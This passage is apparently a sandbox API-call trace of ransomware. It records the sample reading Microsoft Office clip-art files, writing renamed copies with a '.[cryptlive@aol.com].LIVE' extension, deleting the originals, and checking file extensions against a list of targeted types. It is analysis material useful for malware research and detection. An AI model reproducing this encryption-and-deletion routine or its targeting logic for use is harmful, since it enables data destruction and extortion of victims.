Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.036] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=37390) returned 1 [0143.036] CloseHandle (hObject=0x314) returned 1 [0143.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0143.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.036] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.036] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.037] GetLastError () returned 0x0 [0143.037] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x920e, lpOverlapped=0x0) returned 1 [0143.314] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9210, lpOverlapped=0x0) returned 1 [0143.315] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.315] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.316] SetEndOfFile (hFile=0x3b4) returned 1 [0143.316] CloseHandle (hObject=0x3b4) returned 1 [0143.316] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.316] SetEndOfFile (hFile=0x314) returned 1 [0143.319] CloseHandle (hObject=0x314) returned 1 [0143.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0143.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.352] lstrlenW (lpString=".doc") returned 4 [0143.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.352] lstrlenW (lpString=".docx") returned 5 [0143.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.352] lstrlenW (lpString=".pdf") returned 4 [0143.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.352] lstrlenW (lpString=".xls") returned 4 [0143.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.352] lstrlenW (lpString=".xlsx") returned 5 [0143.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.352] lstrlenW (lpString=".ppt") returned 4 [0143.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.352] lstrlenW (lpString=".zip") returned 4 [0143.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.352] lstrlenW (lpString=".rar") returned 4 [0143.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.352] lstrlenW (lpString=".bz2") returned 4 [0143.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.352] lstrlenW (lpString=".7z") returned 3 [0143.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.352] lstrlenW (lpString=".dbf") returned 4 [0143.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.352] lstrlenW (lpString=".1cd") returned 4 [0143.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.352] lstrlenW (lpString=".jpg") returned 4 [0143.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.353] lstrlenW (lpString=".doc") returned 4 [0143.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString=".docx") returned 5 [0143.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.353] lstrlenW (lpString=".pdf") returned 4 [0143.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString=".xls") returned 4 [0143.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.353] lstrlenW (lpString=".xlsx") returned 5 [0143.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.353] lstrlenW (lpString=".ppt") returned 4 [0143.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.353] lstrlenW (lpString=".zip") returned 4 [0143.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.353] lstrlenW (lpString=".rar") returned 4 [0143.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString=".bz2") returned 4 [0143.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString=".7z") returned 3 [0143.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.353] lstrlenW (lpString=".dbf") returned 4 [0143.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.353] lstrlenW (lpString=".1cd") returned 4 [0143.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0143.353] lstrlenW (lpString=".jpg") returned 4 [0143.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.354] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.354] lstrlenW (lpString="FD00306_.WMF") returned 12 [0143.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0143.370] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=46814) returned 1 [0143.370] CloseHandle (hObject=0x39c) returned 1 [0143.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0143.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.377] GetLastError () returned 0x0 [0143.377] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xb6de, lpOverlapped=0x0) returned 1 [0143.379] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb6e0, lpOverlapped=0x0) returned 1 [0143.381] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.381] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.381] SetEndOfFile (hFile=0x3b4) returned 1 [0143.381] CloseHandle (hObject=0x3b4) returned 1 [0143.381] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.381] SetEndOfFile (hFile=0x1fc) returned 1 [0143.384] CloseHandle (hObject=0x1fc) returned 1 [0143.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.385] lstrlenW (lpString=".doc") returned 4 [0143.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".docx") returned 5 [0143.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.385] lstrlenW (lpString=".pdf") returned 4 [0143.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".xls") returned 4 [0143.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.385] lstrlenW (lpString=".xlsx") returned 5 [0143.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.385] lstrlenW (lpString=".ppt") returned 4 [0143.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.385] lstrlenW (lpString=".zip") returned 4 [0143.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.385] lstrlenW (lpString=".rar") returned 4 [0143.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".bz2") returned 4 [0143.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString=".7z") returned 3 [0143.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.385] lstrlenW (lpString=".dbf") returned 4 [0143.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.385] lstrlenW (lpString=".1cd") returned 4 [0143.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.385] lstrlenW (lpString=".jpg") returned 4 [0143.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.386] lstrlenW (lpString=".doc") returned 4 [0143.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".docx") returned 5 [0143.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.386] lstrlenW (lpString=".pdf") returned 4 [0143.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".xls") returned 4 [0143.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.386] lstrlenW (lpString=".xlsx") returned 5 [0143.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.386] lstrlenW (lpString=".ppt") returned 4 [0143.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.386] lstrlenW (lpString=".zip") returned 4 [0143.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.386] lstrlenW (lpString=".rar") returned 4 [0143.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".bz2") returned 4 [0143.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString=".7z") returned 3 [0143.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.386] lstrlenW (lpString=".dbf") returned 4 [0143.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.386] lstrlenW (lpString=".1cd") returned 4 [0143.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0143.386] lstrlenW (lpString=".jpg") returned 4 [0143.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.387] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.387] lstrlenW (lpString="FD00361_.WMF") returned 12 [0143.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.387] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4074) returned 1 [0143.387] CloseHandle (hObject=0x1fc) returned 1 [0143.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0143.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.388] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.388] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.389] GetLastError () returned 0x0 [0143.389] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xfea, lpOverlapped=0x0) returned 1 [0143.391] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xff0, lpOverlapped=0x0) returned 1 [0143.392] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.392] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.392] SetEndOfFile (hFile=0x3b4) returned 1 [0143.392] CloseHandle (hObject=0x3b4) returned 1 [0143.392] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.392] SetEndOfFile (hFile=0x1fc) returned 1 [0143.394] CloseHandle (hObject=0x1fc) returned 1 [0143.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0143.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.395] lstrlenW (lpString=".doc") returned 4 [0143.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.395] lstrlenW (lpString=".docx") returned 5 [0143.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.395] lstrlenW (lpString=".pdf") returned 4 [0143.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.395] lstrlenW (lpString=".xls") returned 4 [0143.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.395] lstrlenW (lpString=".xlsx") returned 5 [0143.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.395] lstrlenW (lpString=".ppt") returned 4 [0143.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.395] lstrlenW (lpString=".zip") returned 4 [0143.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.396] lstrlenW (lpString=".rar") returned 4 [0143.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString=".bz2") returned 4 [0143.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString=".7z") returned 3 [0143.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.396] lstrlenW (lpString=".dbf") returned 4 [0143.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.396] lstrlenW (lpString=".1cd") returned 4 [0143.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.396] lstrlenW (lpString=".jpg") returned 4 [0143.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.396] lstrlenW (lpString=".doc") returned 4 [0143.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString=".docx") returned 5 [0143.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.396] lstrlenW (lpString=".pdf") returned 4 [0143.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString=".xls") returned 4 [0143.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.396] lstrlenW (lpString=".xlsx") returned 5 [0143.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.396] lstrlenW (lpString=".ppt") returned 4 [0143.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.396] lstrlenW (lpString=".zip") returned 4 [0143.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.396] lstrlenW (lpString=".rar") returned 4 [0143.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.397] lstrlenW (lpString=".bz2") returned 4 [0143.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.397] lstrlenW (lpString=".7z") returned 3 [0143.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.397] lstrlenW (lpString=".dbf") returned 4 [0143.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.397] lstrlenW (lpString=".1cd") returned 4 [0143.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0143.397] lstrlenW (lpString=".jpg") returned 4 [0143.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.397] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.397] lstrlenW (lpString="FD00369_.WMF") returned 12 [0143.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.399] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8552) returned 1 [0143.399] CloseHandle (hObject=0x1fc) returned 1 [0143.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 